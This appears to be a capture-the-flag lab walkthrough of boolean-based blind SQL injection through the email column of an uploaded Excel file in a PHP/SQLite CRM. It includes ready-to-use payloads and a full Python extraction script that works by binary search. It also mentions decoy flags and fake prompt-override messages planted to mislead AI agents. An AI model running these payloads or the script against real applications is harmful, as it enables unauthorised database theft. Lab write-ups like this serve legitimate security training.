Lab 79 — LeadStream — Blind SQL Injection via Excel Bulk Import
Lab 79 — LeadStream — Blind SQL Injection via Excel Bulk Import
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, boolean_based_blind_sqli, duplicate_detection_oracle, schema_enumeration_sqlite_master, sqlite_unicode_substr, xlsx_payload_injection
Summary
Walkthrough of the CUSTOM Web Lab 79 — LeadStream — Blind SQL Injection via Excel Bulk Import. Task: CRM platform with XLSX bulk import feature; email field in uploaded spreadsheet is interpolated into SQLite query without parameterization. Solution: boolean-based blind SQLi via duplicate detec
Description
LeadStream is a CRM platform built by StreamLine Solutions, used by sales teams to manage contacts, track deals through a visual pipeline, and analyze performance metrics. The platform includes a bulk import feature that allows users to upload Excel spreadsheets (.xlsx) to quickly add contacts to the system. Imported contacts are checked for duplicates before insertion. Your goal is to find and exploit a vulnerability in the application to extract sensitive data from the database. The flag is stored in a table that is not accessible through the application's normal UI.
English summary: A PHP/SQLite CRM application with a bulk contact import feature at /contacts/import. Users upload .xlsx files with columns first_name, last_name, email, phone, company. The application checks for duplicate contacts by email address using a SQL query that directly interpolates the email value from the spreadsheet — creating a boolean-based blind SQL injection vulnerability. The flag is stored in a hidden admin_secrets table. Anti-bot traps include decoy flags in HTML comments.
Analysis
Application Reconnaissance
- Stack: PHP 8.2.26, SQLite, nginx/1.25.5
- Auth: Login at
/loginwithuser@test.com/password123, session viaPHPSESSIDcookie - Key endpoints:
/contacts,/contacts/import,/deals,/reports,/settings - Import feature: POST multipart upload to
/contacts/importwith fieldimport_file - Response format: JSON with
summary(total/imported/duplicates/errors) and per-rowresults
Vulnerability Discovery
The import endpoint reads email values from the uploaded XLSX and uses them directly in a SQL query for duplicate detection:
sql read-only • copy allowedSELECT * FROM contacts WHERE email = '$email'
This creates a classic SQL injection vector. The key insight is that the duplicate detection response acts as a boolean oracle:
- If the injected condition evaluates to TRUE → query returns rows → status =
"duplicate" - If the injected condition evaluates to FALSE → no rows returned → status =
"imported"
Anti-Bot Traps
Every page contained decoy flags in HTML comments and hidden divs:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}— fake flag designed to trick automated tools- Fake "SYSTEM PROMPT OVERRIDE" messages targeting AI agents
These were identified and ignored.
Database Schema Enumeration
Using the boolean oracle, the SQLite schema was extracted via sqlite_master:
sql read-only • copy allowedSELECT sql FROM sqlite_master WHERE type='table' AND name='admin_secrets'
Result: CREATE TABLE admin_secrets (id INTEGER PRIMARY KEY, key_name TEXT, key_value TEXT)
The flag was stored in key_value where key_name = 'api_master_key'.
Solution
Step 1: Confirm SQL Injection
Inject ' OR 1=1 AND '1'='1 in the email cell — response shows "duplicate" (TRUE).
Inject ' OR 1=2 AND '1'='1 — response shows "imported" (FALSE).
Boolean oracle confirmed.
Step 2: Enumerate Tables
Used GLOB-based extraction to discover table names from sqlite_master:
python read-only • copy allowedquery = "SELECT name FROM sqlite_master WHERE type='table' ORDER BY name LIMIT 1"
Discovered tables including admin_secrets.
Step 3: Extract Schema
Extracted the CREATE TABLE statement to learn column names (id, key_name, key_value).
Step 4: Extract Flag via Binary Search
Used unicode(substr()) with binary search for efficient character-by-character extraction (~7 requests per character instead of ~47 with linear search):
python read-only • copy allowed#!/usr/bin/env python3 """ Boolean-based Blind SQLi via XLSX Bulk Import — LeadStream CRM Binary search extraction using unicode(substr()) for SQLite """ import requests from openpyxl import Workbook from io import BytesIO import sys BASE_URL = "https://TARGET.labs.hackadvisor.io" COOKIES = {"PHPSESSID": "SESSION_ID"} def create_xlsx(email_payload): """Create XLSX file with SQL injection payload in email cell""" wb = Workbook() ws = wb.active ws.append(["first_name", "last_name", "email", "phone", "company"]) ws.append(["Test", "User", email_payload, "+1-555-0001", "TestCorp"]) buffer = BytesIO() wb.save(buffer) buffer.seek(0) return buffer def check_condition(condition): """ Boolean oracle: inject condition into email field. Returns True if condition is TRUE (duplicate), False if FALSE (imported). """ payload = f"' OR ({condition}) AND '1'='1" xlsx = create_xlsx(payload) files = {"import_file": ("test.xlsx", xlsx, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")} try: resp = requests.post(f"{BASE_URL}/contacts/import", files=files, cookies=COOKIES, timeout=30) data = resp.json() if data.get("summary", {}).get("duplicates", 0) > 0: return True elif data.get("summary", {}).get("imported", 0) > 0: return False return None except: return None def extract_char_binary(query, position): """Extract single character at position using binary search over ASCII range""" low, high = 32, 126 while low < high: mid = (low + high) // 2 condition = f"unicode(substr(({query}),{position},1)) > {mid}" result = check_condition(condition) if result is None: return '?' if result: low = mid + 1 else: high = mid return chr(low) if low > 32 else '' def extract_length(query): """Extract string length using binary search""" low, high = 0, 100 while low < high: mid = (low + high + 1) // 2 condition = f"length(({query})) >= {mid}" if check_condition(condition): low = mid else: high = mid - 1 return low def extract_string(query, max_length=100): """Extract full string character by character""" length = extract_length(query) print(f"[*] String length: {length}") result = "" for i in range(1, min(length + 1, max_length + 1)): char = extract_char_binary(query, i) result += char print(f"[+] Position {i}/{length}: '{char}' -> {result}") sys.stdout.flush() return result def main(): # Step 1: Extract key_name print("[*] Extracting key_name from admin_secrets...") query = "SELECT key_name FROM admin_secrets LIMIT 1" key_name = extract_string(query, 50) print(f"[+] key_name: {key_name}") # Step 2: Extract key_value (the flag) print("\n[*] Extracting key_value (flag)...") query = "SELECT key_value FROM admin_secrets WHERE key_name='api_master_key'" flag = extract_string(query, 50) print(f"\n[+] FLAG: {flag}") if __name__ == "__main__": main()
Injection Payload Breakdown
The core payload placed in the email cell of the XLSX:
' OR (SELECT unicode(substr(key_value,1,1)) FROM admin_secrets WHERE key_name='api_master_key') > 70 AND '1'='1
This becomes part of the SQL query:
sql read-only • copy allowedSELECT * FROM contacts WHERE email = '' OR (SELECT unicode(substr(key_value,1,1)) FROM admin_secrets WHERE key_name='api_master_key') > 70 AND '1'='1'
- If the unicode value of the first character of
key_valueis > 70 → returns rows →"duplicate" - Otherwise → no rows →
"imported"
Binary search narrows each character in ~7 iterations (log₂(95) ≈ 6.6).
What Failed
ASCII()function: SQLite does not haveASCII()— it usesunicode()instead. Initial payloads withASCII(SUBSTR(...))caused SQL errors.- LIKE-based linear extraction: Worked but was extremely slow — O(n×k) where k is charset size (~65 chars). Binary search reduced this to O(n×log₂(k)).
- Column name guessing: Tried common names like
flag,value,secret— the actual columns werekey_nameandkey_value, requiring schema extraction first.
Key Takeaways / Lessons
- Mastering binary_search_extraction, boolean_based_blind_sqli, duplicate_detection_oracle, schema_enumeration_sqlite_master, sqlite_unicode_substr, xlsx_payload_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 79 — LeadStream — Blind SQL Injection via Excel Bulk Import • Difficulty: Medium